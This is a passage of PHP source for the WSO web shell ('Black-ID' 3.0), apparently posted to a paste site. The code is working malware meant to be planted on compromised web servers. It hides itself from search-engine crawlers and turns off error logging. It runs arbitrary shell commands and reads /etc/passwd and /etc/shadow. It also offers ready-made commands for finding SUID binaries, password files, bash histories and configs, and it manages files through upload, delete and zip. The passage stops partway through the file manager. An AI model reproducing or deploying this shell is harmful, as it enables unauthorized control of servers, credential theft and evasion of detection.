· 10 years ago · Sep 05, 2016, 09:06 PM
1echo "<link rel='shortcut icon' href='http://www.dz-streaming.eu/favicon.ico'>
2
3 <style type='text/css'>
4 input[type=submit], input[type=button], input[type=reset]{
5 text-align:center;
6 background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
7 border:1px solid #4D4D4D;
8 color:#CCCCCC;
9 border-top-color:#565656;
10 padding:4px 6px;
11 margin:4px 5px;
12 height:16px;
13 -moz-box-shadow:0 0 1px black;
14 -webkit-box-shadow:0 0 1px black;
15 box-shadow:0 0 1px black;
16 text-shadow:0 1px black;
17 -moz-border-radius:4px;
18 -webkit-border-radius:4px;
19 -khtml-border-radius:4px;
20 border-radius:4px;
21 height:23px;
22}
23
24input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
25 background-position:center top;
26 text-decoration:none;
27}
28input[type=text], input[type=password]{
29 background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
30 border:1px solid #4D4D4D;
31 color:#CCCCCC;
32 border-top-color:#565656;
33 -moz-box-shadow:0 0 1px black;
34 -webkit-box-shadow:0 0 1px black;
35 box-shadow:0 0 1px black;
36 -moz-border-radius:4px;
37 -webkit-border-radius:4px;
38 -khtml-border-radius:4px;
39 border-radius:4px;
40 height:18px;
41 margin-left: 5px;
42}
43input , textarea , button , body , caption , table ,area , option {
44 outline:none;
45 transition: all 0.20s ease-in-out;
46 -webkit-transition: all 0.25s ease-in-out;
47 -moz-transition: all 0.25s ease-in-out;
48 border-radius:3px;
49 -webkit-border-radius:3px;
50 -moz-border-radius:3px;
51 border:1px solid rgba(0,0,0, 0.2);
52 /* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
53}
54input , textarea {
55 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
56}
57
58
59input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
60 box-shadow: 0 0 5px rgba(0, 0, 255, 1);
61 -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
62 -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
63
64 border: 1px solid #CCCC00;
65
66 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
67 overflow: auto;
68/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
69}
70
71body{
72/* font-family : Verdana; */
73 color : #f9f6f1;
74 font-size : 0.7em;
75 background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525;
76}
77input , textarea {
78 outline:none;
79 transition: all 0.20s ease-in-out;
80 -webkit-transition: all 0.25s ease-in-out;
81 -moz-transition: all 0.25s ease-in-out;
82 border-radius:3px;
83 -webkit-border-radius:3px;
84 -moz-border-radius:3px;
85 border:1px solid rgba(0,0,0, 0.2);
86}
87input:focus, textarea:focus {
88 outline: 0;
89 border-color: rgba(82, 168, 236, 0.8);
90 -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
91 -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
92 box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
93
94
95 background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
96 overflow: auto;
97
98}
99
100
101 </style>
102 ";
103$_SESSION[$_SERVER['HTTP_HOST']] = true;
104$color = "#df5"; //Colour
105$default_action = "FilesMan";
106$default_charset = "Windows-1251";
107if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
108 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
109 foreach($userAgents as $agent)
110 if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
111 header('HTTP/1.0 404 Not Found');
112 exit;
113 }
114}
115@session_start();
116@error_reporting(0);
117@ini_set('error_log',NULL);
118@ini_set('log_errors',0);
119@ini_set('max_execution_time',0);
120@set_time_limit(0);
121@set_magic_quotes_runtime(0);
122@define('VERSION', '3.0');
123if( get_magic_quotes_gpc() ) {
124 function WSOstripslashes($array) {
125 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
126 }
127 $_POST = WSOstripslashes($_POST);
128}
129
130if( strtolower( substr(PHP_OS,0,3) ) == "win" )
131 $os = 'win';
132else
133 $os = 'nix';
134$safe_mode = @ini_get('safe_mode');
135$disable_functions = @ini_get('disable_functions');
136$home_cwd = @getcwd();
137if( isset( $_POST['c'] ) )
138 @chdir($_POST['c']);
139$cwd = @getcwd();
140if( $os == 'win') {
141 $home_cwd = str_replace("\\", "/", $home_cwd);
142 $cwd = str_replace("\\", "/", $cwd);
143}
144if( $cwd[strlen($cwd)-1] != '/' )
145 $cwd .= '/';
146
147if($os == 'win')
148 $aliases = array(
149 "List Directory" => "dir",
150 "Find index.php in current dir" => "dir /s /w /b index.php",
151 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
152 "Show active connections" => "netstat -an",
153 "Show running services" => "net start",
154 "User accounts" => "net user",
155 "Show computers" => "net view",
156 "ARP Table" => "arp -a",
157 "IP Configuration" => "ipconfig /all"
158 );
159else
160 $aliases = array(
161 "List dir" => "ls -lha",
162 "list file attributes on a Linux second extended file system" => "lsattr -va",
163 "show opened ports" => "netstat -an | grep -i listen",
164 "Find" => "",
165 "find all suid files" => "find / -type f -perm -04000 -ls",
166 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
167 "find all sgid files" => "find / -type f -perm -02000 -ls",
168 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
169 "find config.inc.php files" => "find / -type f -name config.inc.php",
170 "find config* files" => "find / -type f -name \"config*\"",
171 "find config* files in current dir" => "find . -type f -name \"config*\"",
172 "find all writable folders and files" => "find / -perm -2 -ls",
173 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
174 "find all service.pwd files" => "find / -type f -name service.pwd",
175 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
176 "find all .htpasswd files" => "find / -type f -name .htpasswd",
177 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
178 "find all .bash_history files" => "find / -type f -name .bash_history",
179 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
180 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
181 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
182 "Locate" => "",
183 "locate httpd.conf files" => "locate httpd.conf",
184 "locate vhosts.conf files" => "locate vhosts.conf",
185 "locate proftpd.conf files" => "locate proftpd.conf",
186 "locate psybnc.conf files" => "locate psybnc.conf",
187 "locate my.conf files" => "locate my.conf",
188 "locate admin.php files" =>"locate admin.php",
189 "locate cfg.php files" => "locate cfg.php",
190 "locate conf.php files" => "locate conf.php",
191 "locate config.dat files" => "locate config.dat",
192 "locate config.php files" => "locate config.php",
193 "locate config.inc files" => "locate config.inc",
194 "locate config.inc.php" => "locate config.inc.php",
195 "locate config.default.php files" => "locate config.default.php",
196 "locate config* files " => "locate config",
197 "locate .conf files"=>"locate '.conf'",
198 "locate .pwd files" => "locate '.pwd'",
199 "locate .sql files" => "locate '.sql'",
200 "locate .htpasswd files" => "locate '.htpasswd'",
201 "locate .bash_history files" => "locate '.bash_history'",
202 "locate .mysql_history files" => "locate '.mysql_history'",
203 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
204 "locate backup files" => "locate backup",
205 "locate dump files" => "locate dump",
206 "locate priv files" => "locate priv"
207 );
208
209function wsoHeader() {
210 if(empty($_POST['charset']))
211 $_POST['charset'] = $GLOBALS['default_charset'];
212 global $color;
213 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO [Black-ID] " . VERSION ."</title>
214<style>
215body{background-color:#444;color:#e1e1e1;}
216body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
217table.info{ color:#fff;background-color:#222; }
218span,h1,a{ color: $color !important; }
219span{ font-weight: bolder; }
220h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
221div.content{ padding: 5px;margin-left:5px;background-color:#333; }
222a{ text-decoration:none; }
223a:hover{ text-decoration:underline; }
224.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
225.bigarea{ width:100%;height:250px; }
226input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
227form{ margin:0px; }
228#toolsTbl{ text-align:center; }
229.toolsInp{ width: 300px }
230.main th{text-align:left;background-color:#5e5e5e;}
231.main tr:hover{background-color:#5e5e5e}
232.l1{background-color:#444}
233pre{font-family:Courier,Monospace;}
234</style>
235<script>
236 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
237 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
238 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
239 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
240 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
241 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
242 function set(a,c,p1,p2,p3,charset) {
243 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
244 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
245 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
246 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
247 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
248 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
249 }
250 function g(a,c,p1,p2,p3,charset) {
251 set(a,c,p1,p2,p3,charset);
252 document.mf.submit();
253 }
254 function a(a,c,p1,p2,p3,charset) {
255 set(a,c,p1,p2,p3,charset);
256 var params = 'ajax=true';
257 for(i=0;i<document.mf.elements.length;i++)
258 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
259 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
260 }
261 function sr(url, params) {
262 if (window.XMLHttpRequest)
263 req = new XMLHttpRequest();
264 else if (window.ActiveXObject)
265 req = new ActiveXObject('Microsoft.XMLHTTP');
266 if (req) {
267 req.onreadystatechange = processReqChange;
268 req.open('POST', url, true);
269 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
270 req.send(params);
271 }
272 }
273 function processReqChange() {
274 if( (req.readyState == 4) )
275 if(req.status == 200) {
276 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
277 var arr=reg.exec(req.responseText);
278 eval(arr[2].substr(0, arr[1]));
279 } else alert('Request error!');
280 }
281</script>
282<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
283<form method=post name=mf style='display:none;'>
284<input type=hidden name=a>
285<input type=hidden name=c>
286<input type=hidden name=p1>
287<input type=hidden name=p2>
288<input type=hidden name=p3>
289<input type=hidden name=charset>
290</form>";
291 $freeSpace = @diskfreespace($GLOBALS['cwd']);
292 $totalSpace = @disk_total_space($GLOBALS['cwd']);
293 $totalSpace = $totalSpace?$totalSpace:1;
294 $release = @php_uname('r');
295 $kernel = @php_uname('s');
296 $exdblink = 'http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=';
297 if( strpos('Linux', $kernel) !== false )
298 $exdblink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
299 else
300 $exdblink .= urlencode( $kernel . ' ' . substr($release,0,3) );
301 if(!function_exists('posix_getegid')) {
302 $user = @get_current_user();
303 $uid = @getmyuid();
304 $gid = @getmygid();
305 $group = "?";
306 } else {
307 $uid = @posix_getpwuid(@posix_geteuid());
308 $gid = @posix_getgrgid(@posix_getegid());
309 $user = $uid['name'];
310 $uid = $uid['uid'];
311 $group = $gid['name'];
312 $gid = $gid['gid'];
313 }
314 $cwd_links = '';
315 $path = explode("/", $GLOBALS['cwd']);
316 $n=count($path);
317 for($i=0;$i<$n-1;$i++) {
318 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
319 for($j=0;$j<=$i;$j++)
320 $cwd_links .= $path[$j].'/';
321 $cwd_links .= "\")'>".$path[$i]."/</a>";
322 }
323 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
324 $opt_charsets = '';
325 foreach($charsets as $item)
326 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
327 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Mass'=>'Mass','Domains'=>'Domain','Sql'=>'Sql','Safe mode'=>'SafeMode','String tools'=>'StringTools','Network'=>'Network');
328 $m['Self remove'] = 'SelfRemove';
329 $menu = '';
330 foreach($m as $k => $v)
331 $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
332 $drives = "";
333 if ($GLOBALS['os'] == 'win') {
334 foreach( range('c','z') as $drive )
335 if (is_dir($drive.':\\'))
336 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
337 }
338 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
339 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$exdblink.'" target=_blank>[Exploit-DB]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
340 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'<br><a href="http://www.bing.com/search?q=ip:' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Bing ]</a> | <a href="http://www.zone-h.org/archive/ip=' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Zone-H ]</a><br></nobr></td></tr></table>'.
341 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
342}
343
344function wsoFooter() {
345 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
346 echo "
347</div>
348<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
349 <tr>
350 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
351 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
352 </tr><tr>
353 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
354 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
355 </tr><tr>
356 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
357 <td><form method='post' ENCTYPE='multipart/form-data'>
358 <input type=hidden name=a value='FilesMAn'>
359 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
360 <input type=hidden name=p1 value='uploadFile'>
361 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
362 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
363 </tr></table></div></body></html>";
364}
365
366if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
367if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
368function wsoEx($in) {
369 $out = '';
370 if(function_exists('exec')) {
371 @exec($in,$out);
372 $out = @join("\n",$out);
373 }elseif(function_exists('passthru')) {
374 ob_start();
375 @passthru($in);
376 $out = ob_get_clean();
377 }elseif(function_exists('system')) {
378 ob_start();
379 @system($in);
380 $out = ob_get_clean();
381 }elseif(function_exists('shell_exec')) {
382 $out = shell_exec($in);
383 }elseif(is_resource($f = @popen($in,"r"))) {
384 $out = "";
385 while(!@feof($f))
386 $out .= fread($f,1024);
387 pclose($f);
388 }
389 return $out;
390}
391function wsoViewSize($s) {
392 if($s >= 1073741824)
393 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
394 elseif($s >= 1048576)
395 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
396 elseif($s >= 1024)
397 return sprintf('%1.2f', $s / 1024 ) . ' KB';
398 else
399 return $s . ' B';
400}
401
402function wsoPerms($p) {
403 if (($p & 0xC000) == 0xC000)$i = 's';
404 elseif (($p & 0xA000) == 0xA000)$i = 'l';
405 elseif (($p & 0x8000) == 0x8000)$i = '-';
406 elseif (($p & 0x6000) == 0x6000)$i = 'b';
407 elseif (($p & 0x4000) == 0x4000)$i = 'd';
408 elseif (($p & 0x2000) == 0x2000)$i = 'c';
409 elseif (($p & 0x1000) == 0x1000)$i = 'p';
410 else $i = 'u';
411 $i .= (($p & 0x0100) ? 'r' : '-');
412 $i .= (($p & 0x0080) ? 'w' : '-');
413 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
414 $i .= (($p & 0x0020) ? 'r' : '-');
415 $i .= (($p & 0x0010) ? 'w' : '-');
416 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
417 $i .= (($p & 0x0004) ? 'r' : '-');
418 $i .= (($p & 0x0002) ? 'w' : '-');
419 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
420 return $i;
421}
422function wsoPermsColor($f) {
423 if (!@is_readable($f))
424 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
425 elseif (!@is_writable($f))
426 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
427 else
428 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
429}
430if(!function_exists("scandir")) {
431 function scandir($dir) {
432 $dh = opendir($dir);
433 while (false !== ($filename = readdir($dh))) {
434 $files[] = $filename;
435 }
436 return $files;
437 }
438}
439function wsoWhich($p) {
440 $path = wsoEx('which '.$p);
441 if(!empty($path))
442 return $path;
443 return false;
444}
445function actionSecInfo() {
446 wsoHeader();
447 echo '<h1>Server security information</h1><div class=content>';
448 function wsoSecParam($n, $v) {
449 $v = trim($v);
450 if($v) {
451 echo '<span>'.$n.': </span>';
452 if(strpos($v, "\n") === false)
453 echo $v.'<br>';
454 else
455 echo '<pre class=ml1>'.$v.'</pre>';
456 }
457 }
458
459 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
460 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
461 wsoSecParam('Open base dir', @ini_get('open_basedir'));
462 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
463 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
464 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
465 $temp=array();
466 if(function_exists('mysql_get_client_info'))
467 $temp[] = "MySql (".mysql_get_client_info().")";
468 if(function_exists('mssql_connect'))
469 $temp[] = "MSSQL";
470 if(function_exists('pg_connect'))
471 $temp[] = "PostgreSQL";
472 if(function_exists('oci_connect'))
473 $temp[] = "Oracle";
474 wsoSecParam('Supported databases', implode(', ', $temp));
475 echo '<br>';
476
477 if( $GLOBALS['os'] == 'nix' ) {
478 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
479 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
480 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
481 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
482 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
483 wsoSecParam('OS version', @file_get_contents('/proc/version'));
484 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
485 if(!$GLOBALS['safe_mode']) {
486 echo '<br>';
487 $temp=array();
488 foreach ($userful as $item)
489 if(wsoWhich($item)){$temp[]=$item;}
490 wsoSecParam('Userful', implode(', ',$temp));
491 $temp=array();
492 foreach ($danger as $item)
493 if(wsoWhich($item)){$temp[]=$item;}
494 wsoSecParam('Danger', implode(', ',$temp));
495 $temp=array();
496 foreach ($downloaders as $item)
497 if(wsoWhich($item)){$temp[]=$item;}
498 wsoSecParam('Downloaders', implode(', ',$temp));
499 echo '<br/>';
500 wsoSecParam('HDD space', wsoEx('df -h'));
501 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
502 }
503 } else {
504 wsoSecParam('OS Version',wsoEx('ver'));
505 wsoSecParam('Account Settings',wsoEx('net accounts'));
506 wsoSecParam('User Accounts',wsoEx('net user'));
507 }
508 echo '</div>';
509 wsoFooter();
510}
511
512
513
514function actionFilesMan() {
515 wsoHeader();
516 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
517 if(!empty($_POST['p1'])) {
518 switch($_POST['p1']) {
519 case 'uploadFile':
520 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
521 echo "Can't upload file!";
522 break;
523 case 'mkdir':
524 if(!@mkdir($_POST['p2']))
525 echo "Can't create new dir";
526 break;
527 case 'delete':
528 function deleteDir($path) {
529 $path = (substr($path,-1)=='/') ? $path:$path.'/';
530 $dh = opendir($path);
531 while ( ($item = readdir($dh) ) !== false) {
532 $item = $path.$item;
533 if ( (basename($item) == "..") || (basename($item) == ".") )
534 continue;
535 $type = filetype($item);
536 if ($type == "dir")
537 deleteDir($item);
538 else
539 @unlink($item);
540 }
541 closedir($dh);
542 rmdir($path);
543 }
544 if(is_array(@$_POST['f']))
545 foreach($_POST['f'] as $f) {
546 $f = urldecode($f);
547 if(is_dir($f))
548 deleteDir($f);
549 else
550 @unlink($f);
551 }
552 break;
553 case 'paste':
554 if($_SESSION['act'] == 'copy') {
555 function copy_paste($c,$s,$d){
556 if(is_dir($c.$s)){
557 mkdir($d.$s);
558 $h = @opendir($c.$s);
559 while (($f = @readdir($h)) !== false)
560 if (($f != ".") and ($f != "..")) {
561 copy_paste($c.$s.'/',$f, $d.$s.'/');
562 }
563 } elseif(is_file($c.$s)) {
564 @copy($c.$s, $d.$s);
565 }
566 }
567 foreach($_SESSION['f'] as $f)
568 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
569 } elseif($_SESSION['act'] == 'move') {
570 function move_paste($c,$s,$d){
571 if(is_dir($c.$s)){
572 mkdir($d.$s);
573 $h = @opendir($c.$s);
574 while (($f = @readdir($h)) !== false)
575 if (($f != ".") and ($f != "..")) {
576 copy_paste($c.$s.'/',$f, $d.$s.'/');
577 }
578 } elseif(@is_file($c.$s)) {
579 @copy($c.$s, $d.$s);
580 }
581 }
582 foreach($_SESSION['f'] as $f)
583 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
584 } elseif($_SESSION['act'] == 'zip') {
585 if(class_exists('ZipArchive')) {
586 $zip = new ZipArchive();
587 if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
588 chdir($_SESSION['c']);
589 foreach($_SESSION['f'] as $f) {
590 if(@is_file($_SESSION['c'].$f))
591 $zip->addFile($_SESSION['c'].$f, $f);
592 elseif(@is_dir($_SESSION['c'].$f)) {
593 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
594 foreach ($iterator as $key=>$value) {
595 $zip->addFile(realpath($key), $key);
596 }
597 }
598 }
599 chdir($GLOBALS['cwd']);
600 $zip->close();
601 }
602 }
603 } elseif($_SESSION['act'] == 'unzip') {
604 if(class_exists('ZipArchive')) {
605 $zip = new ZipArchive();
606 foreach($_SESSION['f'] as $f) {
607 if($zip->open($_SESSION['c'].$f)) {
608 $zip->extractTo($GLOBALS['cwd']);
609 $zip->close();
610 }
611 }
612 }
613 }
614 unset($_SESSION['f']);
615 break;
616 default:
617 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
618 $_SESSION['act'] = @$_POST['p1'];
619 $_SESSION['f'] = @$_POST['f'];
620 foreach($_SESSION['f'] as $k => $f)
621 $_SESSION['f'][$k] = urldecode($f);
622 $_SESSION['c'] = @$_POST['c'];
623 }
624 break;
625 }
626 }
627 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
628 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
629 global $sort;
630 $sort = array('name', 1);
631 if(!empty($_POST['p1'])) {
632 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
633 $sort = array($match[1], (int)$match[2]);
634 }
635echo "<script>
636 function sa() {
637 for(i=0;i<document.files.elements.length;i++)
638 if(document.files.elements[i].type == 'checkbox')
639 document.files.elements[i].checked = document.files.elements[0].checked;
640 }
641</script>
642<table width='100%' class='main' cellspacing='0' cellpadding='2'>
643<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
644 $dirs = $files = array();
645 $n = count($dirContent);
646 for($i=0;$i<$n;$i++) {
647 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
648 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
649 $tmp = array('name' => $dirContent[$i],
650 'path' => $GLOBALS['cwd'].$dirContent[$i],
651 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
652 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
653 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
654 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
655 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
656 );
657 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
658 $files[] = array_merge($tmp, array('type' => 'file'));
659 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
660 $dirs[] = array_merge($tmp, array('type' => 'link'));
661 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
662 $dirs[] = array_merge($tmp, array('type' => 'dir'));
663 }
664 $GLOBALS['sort'] = $sort;
665 function wsoCmp($a, $b) {
666 if($GLOBALS['sort'][0] != 'size')
667 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
668 else
669 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
670 }
671 usort($files, "wsoCmp");
672 usort($dirs, "wsoCmp");
673 $files = array_merge($dirs, $files);
674 $l = 0;
675 foreach($files as $f) {
